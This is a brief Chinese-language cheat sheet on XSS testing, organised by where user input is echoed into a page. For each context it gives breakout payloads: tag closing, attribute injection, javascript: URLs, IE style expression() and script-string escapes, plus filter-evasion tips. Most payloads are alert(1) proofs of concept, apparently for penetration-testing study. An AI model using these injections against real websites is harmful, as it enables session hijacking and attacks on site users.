XSS的查找:绕过过滤机制,利用服务端错误的编码方式
例:url:http//www.foo.com/xss.php?id=1
HTML标签之间
<div>[输出]</div> //xsspayload:<script>alert(1)</script>
标签之间无法执行脚本,要先闭合掉对应的标签。此类标签有:
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noxcript>
<noframes></noframes>
<plaintext></plaintext>
//xsspayload:</title><script>alert(1)</script>
HTML标签之内
作为一般属性值
<input type="text" value="[输出]" />
//xsspayload:
闭合属性:"onmouseover=alert(1) x="
闭合属性后闭合标签:"><script>alert(1)</script>
输出在URL等src/herf/action等属性
xsspayload:
各种闭合
使用伪协议(前提是payload出现在属性url的开头部分):
javascript:alert(1)
如果网站过滤了/'"等特殊字符
javascript:alert(1)-//利用JavaScript逻辑与算数运算符
window.onerror = function(){return true;}//抑制浏览器报错
输出在事件
需区分是作为整个事件还是某个函数参数
输出在style属性内
xsspayload:IE下注入expression关键值:1;xss:expression(if(!window.x){alert(1);window.x=1;})
效果如下:
JavaScript代码的值
<script>a="[输出]";....</script>
xsspayload:
闭合标签:</script><script>alert(1)//
闭合变量的值引用:";alert(1)//
(如果//被过滤可以使用逻辑与算术运算符来代替)
成为CSS代码的值
与输出在style属性内一样
存储型XSS
一般是表单的提交,然后进入服务器端存储,最终在某个页面上输出。(找输出点)